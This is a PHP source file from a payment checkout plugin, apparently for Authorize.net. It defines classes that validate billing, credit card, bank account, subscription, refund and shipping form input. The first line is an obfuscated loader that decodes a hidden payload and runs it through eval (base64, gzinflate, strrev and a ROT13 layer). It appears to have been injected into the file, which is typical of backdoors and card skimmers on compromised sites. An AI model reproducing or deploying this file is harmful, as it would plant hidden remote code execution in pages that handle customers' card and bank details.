riny(tmvasyngr(onfr64_qrpbqr(fgeeri($HLVAivhBsIMPw_))));eval(gzinflate(base64_decode(strrev($UYINviuOfVZCj_))));
class AuthnetRequest {
	// global error messages. each subclass may provide additional errors
	public $errorMessageInformationMissing = "Please provide information for all required fields";
	public $errorMessageInvalidValue = "One or more of the values you provided didn't make sense. Please try again.";
	protected $errorMapping = array();

	// expected values for validation. This is an associative array with the structure 'valueName' => requiredAsBoolean
	protected $expectedValues = array();

	// error values indicate validation problems
	protected $errorMode = 0;
	protected $errorMessage = "";

	function __construct() {
		// establish mapping between expected values and possible error messages
	}
	// prepare input values by escaping and casting
	// this is also the validation step as it returns database safe value or false
	protected function prepareAndValidateInput($value) {
		return mysql_real_escape_string($value);
	}
	
	protected function loadValues () {
			// load values from _POST array (i.e. postValues)
		foreach ($this->expectedValues as $valueName => $required) {
			if ($required && (!isset($this->postValues[$valueName]) || $this->postValues[$valueName] == '')) {
				// set error message
				$this->errorMode = 1;
				if (array_key_exists ($valueName, $this->errorMapping)) {
					$this->errorMessage = $this->errorMapping[$valueName];
				} else {
					$this->errorMessage = $this->errorMessageInformationMissing;
				}
				break;
			} else {
				if (isset($this->postValues[$valueName])) {
					$this->$valueName = $this->prepareAndValidateInput($this->postValues[$valueName], $required);
					if ($this->$valueName === false) {
						$this->errorMode = 1;
						$this->errorMessage = $this->errorMessageInvalidValue;
						break;
					}
				} else {
					$this->$valueName = null;
				}
			}
		}
	}
	
	public function getErrorMode() {
		return $this->errorMode;
	}

	public function getErrorMessage() {
		return $this->errorMessage;
	}
}
 
class AuthnetPersonalDetails extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessagePhoneMissing = "A phone number is required for this transaction";
	public $errorMessageCompanyMissing = "A company name is required for this transaction";
	public $errorMessageInvalidEmail = "A valid email address is required for this transaction";
	
	function __construct($postValues, $minimalCheckout, $phoneRequired = false, $companyRequired = false) {
		parent::__construct();
		// establish mapping between expected values and possible error messages
		$this->errorMapping['billingPhone'] = $this->errorMessagePhoneMissing;
		$this->errorMapping['billingCompany'] = $this->errorMessageCompanyMissing;
		// get the postValues from the argument above
		$this->postValues = $postValues;
		
		// establish expected values for this object
		$this->expectedValues = array('billingFirstName' => true,'billingLastName' => true, 'email' => true, 'billingAddress' => $minimalCheckout['address']['require'], 
                                            'billingCity' => $minimalCheckout['city']['require'], 'billingState' => $minimalCheckout['state']['require'], 
                                            'billingZip' => $minimalCheckout['zip']['require'],'billingCountry' => $minimalCheckout['country']['require'],
                                             'subscriptionNotes' => false, 'desiredUsername' => false, 
                                            'desiredPassword' => false);
		
                if ($minimalCheckout['company']['require']) {
                    $this->expectedValues['billingCompany'] = $companyRequired;
                }
                if ($minimalCheckout['phone']['require']) {
                    $this->expectedValues['billingPhone'] = $phoneRequired;
                }
		
		// load all values and validate required values in postValues
		$this->loadValues();
		
		// next we do special case validation(s)
		
		// validate email address
		$validator = new EmailAddressValidator;
		if (!$this->errorMode && !$validator->check_email_address($this->email)) {
			$this->errorMode = 1;
			$this->errorMessage = $this->errorMessageInvalidEmail;
		}
	}
}
class AuthnetBankAccountDetails extends AuthnetRequest {
	
	// error messages are plublic to facilitate unittesting
	public $errorMessageInvalidRoutingNumber = "Please provide valid routing number.";        

	function __construct($postValues) {
		parent::__construct();
		// no additional error messages mappings for this class
		// get the postValues from the argument above
		$this->postValues = $postValues;

		// establish expected values for this object
		$this->expectedValues = array('bankRoutingNumber' => true, 'bankAccountNumber' => true, 'bankAccountType' => true, 'bankName' => false, 'bankAccountName' => true, 'eCheckType'=>false, 'bankCheckNumber'=>false);

		// load all values and validate required values in postValues
		$this->loadValues();
		// Get last four digits of bank account number
		$this->lastFourDigitsOfBankAccountNumber = substr($this->bankAccountNumber, strlen($this->bankAccountNumber)-4, strlen($this->bankAccountNumber));
			
		// Check for valid routing number
		if (!$this->checkRoutingNumber($this->bankRoutingNumber)) {
			$this->errorMode = 1;
			$this->errorMessage = $this->errorMessageInvalidRoutingNumber;
		}
	}
	private function checkRoutingNumber($routingNumber = 0) {
		// Only digits
		$routingNumber = preg_replace('[\D]', '', $routingNumber); 
		if( strlen($routingNumber) != 9 ) {
			return false;  
		}		   
		$checkSum = 0;
		for ($i = 0, $j = strlen($routingNumber); $i < $j; $i+= 3 ) {
			//loop through routingNumber character by character
			$checkSum += ($routingNumber[$i] * 3);
			$checkSum += ($routingNumber[$i+1] * 7);
			$checkSum += ($routingNumber[$i+2]);
		}		   
		if($checkSum != 0 and ($checkSum % 10) == 0) {
			return true;
		} else {
			return false;
		}
	}
} 
class AuthnetCreditCardDetails extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessageInvalidCCNumber = "Invalid credit card number provided";
	public $errorMessageInvalidExpirationDate = "Invalid expiration date provided";

 	function __construct($postValues) {
		parent::__construct();
		// no additional error messages mappings for this class
		// get the postValues from the argument above
		$this->postValues = $postValues;
		
		// establish expected values for this object
		$this->expectedValues = array('creditCardNumber' => true, 'cc_name' => true, 'exp_year' => true, 'exp_month' => true, 'CreditCardCCV' => true);
		
		// load all values and validate required values in postValues
		$this->loadValues();

		// next we do special case validation(s) and create alternate values

		// verify credit card number
		if (!checkCreditCard ($this->creditCardNumber, $this->cc_name, $ccerror, $ccerrortext)) {
			$this->errorMode = 1;
			$this->errorMessage = $this->errorMessageInvalidCCNumber." (".$ccerror.") ".$ccerrortext;
		} else {
			// get the last four digits
			$this->lastFourDigitsOfCreditCard = substr($this->creditCardNumber, strlen($this->creditCardNumber)-4, strlen($this->creditCardNumber));;
		}

		// format and verify expiration date
		$this->ceditCardExpirationDate = $this->exp_year."-".$this->exp_month;
		if (!$this->errorMode && count(str_split($this->ceditCardExpirationDate)) != 7) {
			$this->errorMode = 1;
			$this->errorMessage = $this->errorMessageInvalidExpirationDate;
		}
	}
}
 
class AuthnetOrderDetails extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessageInvalidClaim = "Invalid claim provided";
        public $errorMessageInvalidVariableAmount = "Amount is missing.";
	
 	function __construct($postValues, $authnetSecuritySeed) {
		parent::__construct();
		// no additional error messages mappings for this class
		// get the postValues from the argument above
		$this->postValues = $postValues;
		
		// establish expected values for this object
		$this->expectedValues = array('variable_amount' => false,'preset_amount' => false, 'subscription' => true, 'variable_subscription'=> false, 'payment_type' => false, 'payment_term' => false);
		
		// load all values and validate required values in postValues
		$this->loadValues();

		// Set the subscription id for single payment 
		if ( isset($this->subscription) && $this->subscription == 'single' ) {
			if( $this->variable_subscription ) $this->subscription_id = $this->variable_subscription;
			
			 // Verify invalid amount for variable amount
			if (! $this->verifyVariableAmount() ) {
				$this->errorMode = 1;
				$this->errorMessage = $this->errorMessageInvalidVariableAmount;
			}
		}
	}
	public static function makeSecuritySeed($lenth = 64) {
		// makes a random alpha numeric string of a given lenth
		$aZ09 = array_merge(range('A', 'Z'), range('a', 'z'),range(0, 9));
		$out ='';
		for($c=0;$c < $lenth;$c++) {
		   $out .= $aZ09[mt_rand(0,count($aZ09)-1)];
		}
		return $out;
	}

	public static function createCheckoutClaim ($valuestosecure, $securityseed) {
		// $valuestosecure may be a subscription_id or a buy it now price
		$len = strlen($securityseed);
		$saltedpass = substr($securityseed, 0, round($len/2)) . $valuestosecure . substr($securityseed, round($len/2), $len);
		return md5($saltedpass);
	}
	public static function createSummaryClaim($securityseed, $transactionId = 'X4567D54' , $subscriptionId = 'U787345') {

		$len = strlen($securityseed);
		$saltedpass = substr($securityseed, 0, round($len/2)) . $transactionId . "-" . $subscriptionId . substr($securityseed, round($len/2), $len);
		return md5($saltedpass);
	}
       public function verifyVariableAmount() {
            if($this->variable_amount == null && $this->preset_amount == null) 
                return false;
            else if($this->variable_amount != null && $this->preset_amount == null) 
                return true;
            else if($this->preset_amount != null && $this->variable_amount == null) 
                return true;
            else 
                return false;
        }
}
class AuthnetRecaptcha extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessageRecaptchaMissing = "The reCAPTCHA  value must be filled out.";
	public $errorRecaptchaResponseMessage = "";

	function __construct($postValues, $recaptchaEnabled, $authnetRecaptchaPublicKey, $authnetRecaptchaPrivateKey) {
		parent::__construct();

		// if reCAPTCHA feature is not enabled then don't processed
		if(!$recaptchaEnabled) return; 

		// establish mapping between expected values and possible error messages
		$this->errorMapping['recaptcha_response_field'] = $this->errorMessageRecaptchaMissing;
		// get the postValues from the argument above
		$this->postValues = $postValues;
		// establish expected values for this object
		$this->expectedValues = array('recaptcha_response_field' => true, 'recaptcha_challenge_field' => true);
		// load all values and validate required values in postValues
		$this->loadValues();

		if (!$this->errorMode) {

			// get recaptcha's response
			$recaptchaResponse = $this->getRecaptchaResponse($authnetRecaptchaPrivateKey, $this->recaptcha_challenge_field, $this->recaptcha_response_field);
			// validate recaptcha response
			if (!$recaptchaResponse->is_valid) {

				$this->errorMode = 1;
				$this->errorMessage = $recaptchaResponse->error;
				$this->errorRecaptchaResponseMessage = $recaptchaResponse->error; 
				
			} 
		}
	}
	function getRecaptchaResponse($authnetRecaptchaPrivateKey, $recaptchaChallengeField, $recaptchaResponsField ) {

		// get recaptcha's response for input
		$recaptchaResponse = authnet_recaptcha_check_answer ($authnetRecaptchaPrivateKey, $_SERVER["REMOTE_ADDR"], $recaptchaChallengeField, $recaptchaResponsField);

		return $recaptchaResponse;
	}
	
    
}
class AuthnetSubscriptionUpdate extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessageMissingSubscription = "Subscription id is missing.";
	
	function __construct($postValues) {
		parent::__construct();

		// establish mapping between expected values and possible error messages
		$this->errorMapping['subscription_id'] = $this->errorMessageMissingSubscription;
		// get the post values
		$this->postValues = $postValues;
		// establish expected values for this object
		$this->expectedValues = array( 'user' => true, 'subscription_id' => true);
		// load all values and validate required values in postValues
		$this->loadValues();
	}
}
class AuthnetSubscriptionCancellation extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessageMissingSubscription = "Subscription id is missing.";
	
	function __construct($postValues) {
		parent::__construct();

		// establish mapping between expected values and possible error messages
		$this->errorMapping['subscription_id'] = $this->errorMessageMissingSubscription;
		// get the post values
		$this->postValues = $postValues;
		// establish expected values for this object
		$this->expectedValues = array('user' => true, 'subscription_id' => true);
		// load all values and validate required values in postValues
		$this->loadValues();
	}
}
class AuthnetSubscriptionRefundDetail extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessageMissingTransactionId = "Transaction id is missing.";

	function __construct($postValues) {
		parent::__construct();

		// establish mapping between expected values and possible error messages
		$this->errorMapping['transaction_id'] = $this->errorMessageMissingTransactionId;
		// get the post values
		$this->postValues = $postValues;
		// establish expected values for this object
		$this->expectedValues = array('transaction_id' => true, 'refund_amount' => true, 'cc_account_num'=> false, 'user' => true);
		// load all values and validate required values in postValues
		$this->loadValues();
	}
}
class AuthnetTransactinPriorAuthCaptureDetail extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessageMissingTransactionId = "Transaction id is missing.";

	function __construct($postValues) {
		parent::__construct();

		// establish mapping between expected values and possible error messages
		$this->errorMapping['transaction_id'] = $this->errorMessageMissingTransactionId;
		// get the post values
		$this->postValues = $postValues;
		// establish expected values for this object
		$this->expectedValues = array('transaction_id' => true, 'user' => true);
		// load all values and validate required values in postValues
		$this->loadValues();
	}
}
class AuthnetShippingInformation extends AuthnetRequest {
	// error messages are plublic to facilitate unittesting
	public $errorMessageShippingInformatoinMissing = "Please provide complete shipping information."; 
	
	function __construct($postValues, $companyRequired = false) {
		parent::__construct();
		
		// If same as billing address is on
		if ( isset($postValues['same_billing_address']) ) {
			if( $postValues['same_billing_address'] == 'on' )  $postValues = $this->sameAsBillingAddress($postValues);
		}
		$this->postValues = $postValues;
			
		// establish expected values for this object
		$this->expectedValues = array('shippingFirstName' => true, 'shippingLastName' => true, 'shippingAddress' => true, 
                                              'shippingCity' => true, 'shippingState' => true, 'shippingZip' => true, 'shippingCountry' => true, 
                                              'same_billing_address'=>false);
		
                $this->expectedValues['shippingCompany'] = $companyRequired;
		

		// load all values and validate required values in postValues
		$this->loadValues();  

		if ( $this->errorMode ) {
			$this->errorMessage = $this->errorMessageShippingInformatoinMissing;
		}
	}
	function sameAsBillingAddress($postValues) {
		$postValues['shippingFirstName'] 	=  $postValues['billingFirstName'];
		$postValues['shippingLastName'] 	=  $postValues['billingLastName'];
		$postValues['shippingCompany'] 		=  $postValues['billingCompany'];
		$postValues['shippingAddress'] 		=  $postValues['billingAddress'];
		$postValues['shippingCity'] 		=  $postValues['billingCity'];
		$postValues['shippingState'] 		=  $postValues['billingState'];
		$postValues['shippingZip'] 			=  $postValues['billingZip'];
		$postValues['shippingCountry'] 		=  $postValues['billingCountry'];
		return $postValues;
	}
}